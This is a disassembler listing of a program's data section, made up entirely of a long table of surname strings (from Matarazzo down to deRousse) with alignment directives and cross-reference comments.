aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 